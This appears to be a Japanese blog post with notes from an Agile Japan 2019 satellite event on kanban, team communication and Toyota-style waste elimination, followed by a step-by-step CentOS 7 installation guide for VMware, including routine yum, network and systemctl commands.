- 問題を早期発見できるようになった
- 今後の課題
- 目標値のレベルを上げる
- 制限の最適化を継続
- 定期的なふりかえりを継続
- 各課員が自動できるまで進化
- 他部署へ当仕組みを提案
参考書籍:カンバンソフトウェア開発の変革
ライトニングトークス
「プロダクト開発での2つの難しさ」、「bocciの開発」、「PSP/Scrumに向けて - Agileな開発での個人プロセスとは? -」という3つのLTを聞きました。
特に印象に残ったのは
- bocciの開発
アジャイル開発を導入してみたがそれぞれが何をやっているのかどう変更なのかが具体的に見えていなかった。
コミュニケーションが取れていなかった
チームで勝たないといけないと考える
チームに蓄積されるコミュニケーションが大切
アジャイルの本質はコミュニケーションだ
ということでした。
Agile Japan 2019 長崎サテライト 招待招待講演
登壇者: 和田 憲明 氏
タイトル
アジャイルの現在過去未来。そしてアジャイルを進化させる「ムダ取り」とは。
アジャイルの現在
伝統的な企業、ウォーターフォールで開発してきた企業がどうアジャイルを導入するか
会社の危機感、広めたいという気持ちが合わされば伝統的な会社でもアジャイルを導入することができるアジャイルソフトウェア開発宣言
知らない、誤解がある→IPAではわかりやすく、日本向けに解説
技術は日々進歩している
ウォーターフォールのほうが学びやすい
まずは開発技術の基礎を学ぶ
やり方ではなく開発技術の本質を学ぶ
”無駄=価値を生まない” を見つける
書籍「トヨタ生産方式」
動くと働くの違い例)
「アンドン」による異常の見える化- 現場に混乱を作り出す
- 異常(改善する対象)を検出する
- その異常を改善する
だから工場の人は現場に混乱を作り出すために「コンベアの速度を少しアップ」する
アンドンが常にあおだと改善点がない
アンドンが黄色にすることで改善点を見つける
チームで改善する(個人を責めない)
焦ってはいけない。普通にやる
→無理は異常を隠す(改善を阻害する)ムラをなくす
粒度をそろえるムラをなくすと
特異なものがよどみ(=流れを妨げる特異なもの) となって目立つようになる
よって改善したくなる複数のラインを一つにまとめる(混流生産)
→変化に対応できる(製造数の変動を吸収)ムダとは~価値につながる考えかた~
ムダの定義
顧客視点が重要例)
鉄板を曲げる(車に近づく)→顧客にとって価値がある
鉄板を運搬する→顧客にとって価値がない
会議→組織にとっては必要だが顧客にとっては価値がない→ムダ(付帯作業)100倍してみる
会議の時間を100倍する→生産性は上がらない→ムダである
付加価値の時間を延ばし、ムダの時間を少なくし、無駄の時間をなくす
ムダを発見してみる
- 7つのムダ
- 作りすぎのムダ
計画より早く生産する、カンバン以上に生産する
例)使われない機能の実装 - 在庫のムダ
素材、部品、仕掛け品、完成品の在庫 - 不良を作るムダ
破棄、手直しが必要なもの - 加工のムダ
行程の進みや加工品の精度に寄与しない加工 - 運搬のムダ
必要最小限以上の仮置き、移動、移し替え等 - 動作のムダ
生産活動で付加価値を生まない人の動き
例)深い位置にあるファイルを取り出すのにムダなクリックが多い
→リンク、ショートカットを張る - 手持ちのムダ
仕事量が少ないことにより、手持ちが生じる
- 作りすぎのムダ
ものを情報に置き換えてみる
ムリをとる→ムラをとる→ムダをとる→安定
ギアチェンジ「ムリをとる→ムラをとる→ムダをとる」をし続ける
感想
自分はアジャイルについてITパスポート試験で勉強した程度の知識しかなかったので、知識不足なところがありなかなか理解するのが大変なところもありましたが、「効率のよい開発を追求していこう」という理念は今回のイベント全体を通して学ぶことができました。アジャイルに関する知識が増えたことで将来的にはアジャイル開発に参加してみようという気持ちが高まった良いイベントだったと思います。
CentOS 7 インストール方法
概要
大学の教養セミナーでVMware上にCentOSのインストールをしましたが、トラブルでうまくインストールできなかった人がいたので、インストールマニュアルを作成しました。
事前準備
1.ISOファイルのダウンロード
www.centos.org
ここからISOをダウンロードする。
(インストール手順A【ソフトウェア選択からGNOME Desktopを選択する場合】はDVD ISOを、インストール手順B【ソフトウェアの選択から最小限のインストールを選択し、後でGNOME Desktopをインストールする場合】はMInimal ISOをそれぞれ選択する)
2.VMwareの設定
「新規仮想マシンの作成」からダウンロードしたISOファイルを指定して、今回はストレージ20GB、メモリ2048MB、プロセッサ2コアで仮想マシンを作る。(ホストマシンのスペックに合わせて適切な設定にする)
インストール手順
ここでは(A)ソフトウェアの選択からGNOME Desktopを選択する場合、(B)ソフトウェアの選択から最小限のインストールを選択し、後でGNOME Desktopをインストールする場合の二つを紹介する。
A、B共通
1.Install CentOS7を選択する。
2.WELCOME TO CENTOS7 と表示されたら言語設定から日本語を選択し、続行を押す。
3.インストールの概要で「ソフトウェアの選択」をクリックする。
A . ソフトウェアの選択からGNOME Desktopを選択する場合
4.「GNOME Desktop」を選択して、完了を押す。
5.インストールの概要から「インストール先」を選択する。
6.「20GiB VMware Virtual S」 にチェックがついていることを確認して完了を押す。
7.インストールの概要から「ネットワークとホスト名」を選択する。
8.Ethernet(ens33)をオンにして完了を押す。
9.「インストールの開始」を押す。
10.「ROOT パスワード」を選択してrootアカウントのパスワードを設定し完了を押す。
11.「ユーザーの作成」を選択してフルネーム、ユーザー名、パスワードを設定、「このユーザーを管理者にする」にチェックを入れて完了を押す。
12.ユーザーの設定の画面下部に「完了しました!」と表示されたら、その下の「設定完了」を押す。
13.CentOSの準備が終わるまで待ち、画面下部の「再起動」を押す。
14.再起動後、「LICENSE INFORMATION」を押し、ライセンス規約の下部にある「ライセンス契約に同意します」にチェックを入れ、完了を押す。
15.「設定の完了」を押す。
16.設定したユーザー名を選択後、パスワードを入力しサインインする。
17.日本語が選択されていることを確認して次へを押す。
18.日本語(かな漢字)を選択し次へを押す。
19.位置情報のオン、オフとオンラインアカウントへの接続は各自の好みで。
21.操作方法を確認したらすべて完了。OSの更新をお忘れなく!
B . ソフトウェアの選択から最小限のインストールを選択し、後でGNOME Desktopをインストールする場合
インストール手順Aで「ソフトウェアの設定」をし忘れた場合(再起動後GUIが表示されずCUIしか出ない場合)もこちらの手順となる。その場合は手順13へ
4.「ソフトウェアの選択」で最小限のインストールが選択されていることを確認する。
5.インストールの概要から「インストール先」を選択する。
6.「20GiB VMware Virtual S」 にチェックがついていることを確認して完了を押す。
7.インストールの概要から「ネットワークとホスト名」を選択する。
8.Ethernet(ens33)をオンにして完了を押す。
9.「インストールの開始」を押す。
10.「ROOT パスワード」を選択してrootアカウントのパスワードを設定し完了を押す。
11.「ユーザーの作成」を選択してフルネーム、ユーザー名、パスワードを設定、「このユーザーを管理者にする」にチェックを入れて完了を押す。
12.ユーザーの設定の画面下部に「完了しました!」と表示されたら、その下の「再起動」を押す。
13.rootアカウントでログインする。(rootと入力し、rootアカウントのパスワードを入力する。)
14.グループ名の確認をする。
# sudo LANG=C yum grouplist
表示された一覧にGNOME Desktopがあることを確認する。
ここで以下のような画面が出た場合、ネットワークの設定がオフになっている可能性があるのでネットワークの設定をする。 正常にコマンドが実行できた場合は15へ
14-1.ネットワークサービスを止める
# /etc/rc.d/init.d/network stop
14-2.ネットワークの設定を変える
# vi /etc/sysconfig/network-scripts/ifcfg-ens33
viの使い方は以下を参照 www.gi.ce.t.kyoto-u.ac.jp
ONBOOT=noをONBOOT=yesに変えて保存する。
14-3.ネットワークサービスを再開させる。
# /etc/rc.d/init.d/network start
14-4.もう一度グループ名の確認をするコマンドを入力する。
# sudo LANG=C yum grouplist
15.インストールする
# sudo LANG=C yum groupinstall "GNOME Desktop"
16.途中で Is this ok [y/d/N]: と出てきたらyと入力する。
17.「Complete!」と表示されたらデフォルトのランレベルを確認する。
# sudo systemctl get-default
18.ランレベルを変更する。
# sudo systemctl set-default graphical.target
19.再起動させる。
# reboot
20.設定したユーザー名を選択後、パスワードを入力しサインインする。
再起動後にログイン画面ではなく言語選択の画面が出た場合、先に手順21と22をやることになる。
そのあと、位置情報のオンオフ、タイムゾーンの設定(東京、日本)、オンラインアカウントへの接続設定、ユーザー情報の登録をして手順24へ
21.日本語が選択されていることを確認する。
22.日本語(かな漢字)を選択する。
23.位置情報のオン、オフとオンラインアカウントへの接続は各自の好みで。
25.操作方法を確認したらすべて完了。OSの更新をお忘れなく!
OSの更新方法
1.デスクトップで右クリックをし「端末を開く」を選択する。
2.更新するコマンドを入力する。
# sudo yum -y update